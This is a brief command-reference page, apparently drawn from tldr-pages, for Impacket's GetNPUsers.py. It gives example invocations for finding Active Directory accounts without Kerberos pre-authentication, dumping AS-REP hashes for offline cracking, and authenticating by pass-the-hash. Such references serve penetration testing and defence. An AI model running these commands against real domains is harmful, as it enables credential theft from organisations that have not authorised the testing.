CmdID

CmdID / Commands

getnpusers.py

Enumerate Active Directory accounts with Kerberos pre-authentication disabled, which may be susceptible to AS-REP roasting attacks. tldr-pages

On several platforms

Opens CmdID with your command. It is read in your browser and sent nowhere.

Several platforms

from tldr-pages, CC BY 4.0

Enumerate Active Directory accounts with Kerberos pre-authentication disabled, which may be susceptible to AS-REP roasting attacks. Part of the Impacket suite.

Enumerate users with Kerberos pre-authentication disabled (default anonymous enumeration)

GetNPUsers.py domain/ -usersfile path/to/userslist -dc-ip domain_controller_ip -no-passIdentify

Perform AS-REP roasting and dump crackable hashes for offline cracking

GetNPUsers.py domain/ -usersfile path/to/userslist -dc-ip domain_controller_ip -no-pass -requestIdentify

Authenticate with valid credentials (if anonymous binding is disabled)

GetNPUsers.py domain/username:password -usersfile path/to/userslist -dc-ip domain_controller_ipIdentify

Use pass-the-hash authentication instead of a password

GetNPUsers.py domain/username -hashes LM_Hash:NT_Hash -usersfile path/to/userslist -dc-ip domain_controller_ipIdentify

Save the output to a file for further analysis

GetNPUsers.py domain/ -usersfile path/to/userslist -dc-ip domain_controller_ip -request >path/to/output.txtIdentify